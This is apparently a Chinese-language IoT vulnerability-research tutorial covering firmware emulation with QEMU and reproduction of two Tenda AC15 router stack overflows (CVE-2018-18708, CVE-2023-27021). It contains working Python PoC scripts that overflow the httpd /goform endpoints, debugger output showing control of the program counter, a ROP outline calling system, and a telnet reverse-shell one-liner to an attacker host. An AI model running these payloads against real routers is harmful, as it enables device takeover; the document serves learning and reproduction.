IoT简易入门
复现,有了经验后尝试挖掘
环境
固件解包
binwalk: 可以分析并且解包
没有加密,因此可以使用binwalk解包
1 2 3 4
|
$ binwalk -Me xxx.bin
|
仿真
有资金可以买个设备,效果更好。没资金的就虚拟运行
主要参考:固件仿真
qemu-user
下载静态编译的qemu-user,避免某些动态链接库导致运行错误
1
| $ sudo apt install qemu-user-static
|
qemu-system
QEMU-System是QEMU项目的一部分,它提供了完整的虚拟化和仿真环境,允许用户模拟整个计算机系统,包括CPU、内存、外部设备等。QEMU-System是一种强大的工具,可用于多种用途,包括虚拟化、操作系统开发、嵌入式系统测试和仿真等。
1
| $ sudo apt install qemu-system
|
搭建网桥
bridge是一个虚拟网络设备,所以具有网络设备的特征,可以配置IP、MAC地址等;其次,bridge是一个虚拟交换机,和物理交换机有类似的功能。
添加一个虚拟网桥并且获得IP地址
1 2 3 4 5 6 7 8 9 10 11 12 13
| $ sudo apt install uml-utilities bridge-utils net-tools
$ sudo brctl addbr br0
$ sudo brctl addif br0 eth0
$ sudo ifconfig br0 up
$ sudo dhclient br0
$ sudo ifconfig br0 down $ sudo brctl delbr br0
|
iproute2: iproute2 对决 net-tools,现在大部分linux默认安装这个工具而不是net-tools
参考 ArchWiki
1 2 3 4 5 6 7 8 9 10 11 12
| $ sudo ip link add name br0 type bridge $ sudo ip link set dev br0 up
$ sudo ip link set eth1 master br0 $ sudo ip link set eth1 nomaster
$ sudo ip address add 10.2.3.4/8 dev br0
|
tun网卡
1 2
| $ ip tuntap add dev tap0 mod tap $ ip tuntap add dev tun0 mod tun
|
chroot
首先,可以在aurel32/qemu下载qemu-system所需的文件
- kernel: zImage 格式压缩的 linux kernel
- inited: ramdisk 镜像
- drive: 文件系统镜像
- 主要是net,设置为我们设置的网桥
1 2 3 4 5 6 7 8 9
| qemu-system-arm \ -M vexpress-a9 \ -kernel vmlinuz-3.2.0-4-vexpress \ -initrd initrd.img-3.2.0-4-vexpress \ -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \ -append "root=/dev/mmcblk0p2 console=ttyAMA0" \ -net nic \ -net tap,ifname=br0,script=no,downscript=no \ -nographic
|
FAT
firmware-analysis-toolkit: 依赖firmadyne进行模拟
安装,会安装binwalk,并且和之前的冲突
1 2 3
| $ git clone https://github.com/attify/firmware-analysis-toolkit $ cd firmware-analysis-toolkit $ ./setup.sh
|
使用
Unicorn
Unicorn 是一个 CPU 模拟器,
unicorn: Unicorn CPU emulator framework (ARM, AArch64, M68K, Mips, Sparc, PowerPC, RiscV, S390x, TriCore, X86)
Qiling
qiling由Unicorn引擎支持。
qiling: A True Instrumentable Binary Emulation Framework
源码或者docker
1 2 3 4
| $ git clone https://github.com/qilingframework/qiling
$ cd qiling && git submodule update --init --recursive pip3 install . $ pip3 install .
|
编译ghidra
mips反编译下ghidra更好用
Linux可以使用包管理器下载,windows也可以直接下载release里的内容。
编译结果在build/dist/
,是一个压缩包,这样每次更新就重新编译,不用每次更新下载release了
1 2
| PS> gradle -I gradle/support/fetchDependencies.gradle init PS> gradle buildGhidra
|
获取固件
物联网设备固件分析指南
- 硬件:飞线,拆芯片,uart串口
- 网络抓包:更新包时会请求并且下载
- 官网:官网提供下载
- 伸手党:问认识的大佬要😋
IDA plugins
历年比较好的IDA插件,改url后面的年份查看:Plug-In Contest
也可以自己开发
tenda
CVE-2018-18708
参考文章:Tenda CVE-2018-18708 漏洞复现
固件: AC15 V15.03.05.19
漏洞存在于bin/httpd:路由器的web服务器——httpd中的一个缓冲区溢出漏洞。 在处理 post 请求的函数fromAddressNat
的page
参数时,该值直接在 sprintf 中用于放置在堆栈上的局部变量,这会覆盖函数的返回地址。
直接看反编译代码,entrys
mitInterface
page
三个参数用户可控,page会被sprintf拼接到v6中, 并没有对大小进行检查,导致了栈溢出漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| int __fastcall fromAddressNat(int a1) { int v1; char v4[256]; char s[512]; char v6[256]; const char *v7; const char *v8; const char *v9;
memset(v4, 0, sizeof(v4)); v9 = (const char *)sub_2BA8C(a1, "entrys", &unk_E5D48); v8 = (const char *)sub_2BA8C(a1, "mitInterface", &unk_E5D48); sprintf(s, "%s;%s", v9, v8); sub_4EC58("adv.addrnat", s, 126); v7 = (const char *)sub_2BA8C(a1, "page", "1"); v1 = sprintf(v6, "advance/addressNatList.asp?page=%s", v7); if ( CommitCfm(v1) ) { sprintf(v4, "advance_type=%d", 7); send_msg_to_netctrl(5, v4); } return sub_2BE4C(a1, v6); }
|
交叉引用寻找到,推测是注册路由的地方,我们可以从这入手挖洞
1 2 3 4 5 6 7 8
| int sub_42378() { sub_171EC("GetStaticRouteCfg", formGetRouteStatic); sub_171EC("SetStaticRouteCfg", fromSetRouteStatic); sub_171EC("addressNat", fromAddressNat); sub_10120("mNatGetStatic", mNatGetStatic);
|
然后运行http服务。
1 2
| $ cp $(which qemu-arm-static) . $ sudo chroot . ./qemu-arm-static bin/httpd
|
然后对着参考文章进行patch,或者配置网桥
配置网桥,至于网桥名称为什么是br0:Tenda AC15 路由器漏洞分析与复现
1 2 3 4
| sudo ip link add br0 type bridge sudo ip link set eth0 br0 master sudo ip link set br0 up sudo ip addr add dev br0 192.168.85.200/24
|
cfm fail: patch一下
Cookie: password=是必要的,后面的值可以随便填
1 2 3 4 5 6 7 8 9
| GET /main.html HTTP/1.1 Host: 192.168.85.131 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Cookie: password=hamster Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Connection:
|
使用给出PoC导致segment fault,将IP改了,其余不重要
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| import socket import os from pwn import *
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
ip = '192.168.85.131' port = 80
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
li('[+] connecting') r.connect((ip, port)) li('[+] connect finish')
rn = b'\r\n'
p1 = cyclic(0x300)
p2 = b'page=' + p1
p3 = b"POST /goform/addressNat" + b" HTTP/1.1" + rn p3 += b"Host: 192.168.0.1" + rn p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn p3 += b"Accept-Language: en-US,en;q=0.5" + rn p3 += b"Accept-Encoding: gzip, deflate" + rn p3 += b"Cookie: password=hamster" + rn p3 += b"Connection: close" + rn p3 += b"Upgrade-Insecure-Requests: 1" + rn p3 += (b"Content-Length: %d" % len(p2)) +rn p3 += b'Content-Type: application/x-www-form-urlencoded'+rn p3 += rn p3 += p2
li('[+] sendling payload') r.send(p3)
response = r.recv(4096) response = response.decode() li(response)
|
动态调试
qemu开启gdbserver
1
| $ sudo qemu-arm-static -g 1234 -L ./ ./bin/httpd
|
gdb attach
1 2 3
| $ gdb-mulitarch $ file bin/httpd $ b *0x00079F64
|
发送PoC,调试到漏洞出现的地方
1 2 3 4
| ► 0x7a064 <fromAddressNat+256> bl s: 0x4080010c ◂— 0x0 format: 0xe6054 ◂— 'advance/addressNatList.asp?page=%s' vararg: 0x125250 ◂— 0x61616161 ('aaaa')
|
在函数返回时,将pc赋值
1 2 3 4 5
| ► 0x7a0c8 <fromAddressNat+356> sub sp, fp, 0x7a0cc <fromAddressNat+360> pop {r4, fp, pc}
// ... Invalid address 0x61616160
|
CVE-2023-27021
参考:路由器通用0day漏洞挖掘及RCE思路
相同的固件,函数是 formSetFirewallCfg
PoC
1 2 3 4 5 6 7 8 9 10 11 12 13
| import requests
url = "http://192.168.85.131/goform/SetFirewallCfg" header = { "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie": "password=hamster" }
payload = "A" * 500 data = {"firewallEn": payload} resp = requests.post(url, headers=header, data=data, timeout=5) resp = requests.post(url, headers=header, data=data, timeout=5) print(resp.text)
|
这两个漏洞都是可以控制函数执行流的,因此需要学习一下ROP是如何写
- libcbase: 在gdb里面vmmap一下
- ROP: 需要知道各个寄存器的作用
- 路由器一般不支持bin/bash命令,选择用telnet来getshell
可以使用pop pc 来控制函数执行流
1 2 3 4 5
| pop {r3, pc} r3_val: system_addr pc: 将地址改成下面指令地址 mov r0, sp // r0作为第一个参数 blx, r3
|
telnet 反弹shell
- telnet在攻击者主机x.x.x.x及port1开启监听用户,并将此处Telnet的标准输入通过管道符传给后面命令
/bin/bash
执行,再将/bin/bash
的输出结果作为后面telnet
的输入。此时通过两个端口,一个接收用户输入,通过/bin/bash
处理后再由另一个端口输出。
1 2 3
| $ telnet x.x.x.x 6666 | /bin/bash | telnet x.x.x.x 5555
|
more
IDA漏洞扫描插件:VulFi: IDA Pro plugin for query based searching within the binary useful mainly for vulnerability research
工具安装:
1
| $ git clone https://github.com/Accenture/VulFi
|
然后将某些文件其放在ida/plugins目录下
1
| $ cp vulfi.py vulfi_prototypes.json vulfi_rules.json ~/~/idafree-8.4/plugins
|
在search栏就能找到 VulFi
图标
写自己的规则:将alt_names 改成自己的列表就行,可以参考默认的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| [ { "name": "RULE NAME", "alt_names":[ "function_name_to_look_for" ], "wrappers":true, "mark_if":{ "High":"True", "Medium":"False", "Low": "False" } } ]
|